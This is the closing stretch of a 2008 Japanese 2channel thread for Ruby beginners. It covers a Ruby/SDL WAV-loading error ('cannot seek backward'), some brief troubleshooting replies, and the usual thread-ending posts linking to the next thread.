986 名前:デフォルトの名無しさん mailto:sage [2008/02/22(金) 10:55:35 ] >>983 cannot seek backward は「逆方向にシークできない」だろう。 なんでそんなシークをしようとしてるのかはわからんけど。
987 名前:デフォルトの名無しさん mailto:sage [2008/02/22(金) 11:46:50 ] てかRuby/SDLはあんまRubyじゃないからなあ 使ってる人がたまたまいれば回答はしてくれるかもしれないが
988 名前:デフォルトの名無しさん mailto:sage [2008/02/22(金) 11:46:53 ] test.wav が壊れているに59Matz
989 名前:デフォルトの名無しさん mailto:sage [2008/02/22(金) 11:49:55 ] プログラミング言語Rubyについての、初心者向けスレです。質問・要望・雑談などどうぞ。 Ruby1.9は不安定な開発版であり初心者の使用には全く向きません。最新安定版のRuby1.8.6の使用を強くお勧めします。 関連スレやURLは>>2-7 あたりを見てください。Ruby on Railsの質問はWebProg板のRailsスレで。 という文言を>>1 に書いてくれ
990 名前:デフォルトの名無しさん mailto:sage [2008/02/22(金) 12:12:52 ] 次スレはまだかね?
991 名前:デフォルトの名無しさん mailto:sage [2008/02/22(金) 14:52:08 ] Ruby 初心者スレッド Part 18 pc11.2ch.net/test/read.cgi/tech/1203658291/ 試したら立っちゃった
992 名前:デフォルトの名無しさん [2008/02/22(金) 17:33:53 ] おまえら・・・Ruby大好きなんだな。
993 名前:982-984 mailto:sage [2008/02/22(金) 20:38:14 ] レスありがとうございます 「逆方向シーク」に心当たりがありませんし Ruby/SDLについて訊ける場所もなさそうなので、とりあえず諦めます >>988 三種類ぐらいのwavで試しても読み込めませんでしたし SDL::Mixer::Wave.loadを使えば普通に読み込めるので、それはないと思います
994 名前:デフォルトの名無しさん mailto:sage [2008/02/22(金) 21:20:24 ] ume = thre.map{|res|
995 名前:デフォルトの名無しさん mailto:sage [2008/02/22(金) 21:42:23 ] >>993 バグかもしれないから開発者と連絡とったらいいんじゃない
996 名前:デフォルトの名無しさん mailto:sage [2008/02/22(金) 22:27:14 ] }
997 名前:デフォルトの名無しさん mailto:sage [2008/02/23(土) 10:28:28 ] はいここちょっと埋めますよ
998 名前:デフォルトの名無しさん [2008/02/23(土) 12:54:14 ] 次スレ pc11.2ch.net/test/read.cgi/tech/1203658291/
999 名前:デフォルトの名無しさん [2008/02/23(土) 12:54:43 ] 次スレ pc11.2ch.net/test/read.cgi/tech/1203658291/
1000 名前:デフォルトの名無しさん [2008/02/23(土) 12:55:32 ] 次スレ pc11.2ch.net/test/read.cgi/tech/1203658291/
1001 名前:1001 [Over 1000 Thread] このスレッドは1000を超えました。 もう書けないので、新しいスレッドを立ててくださいです。。。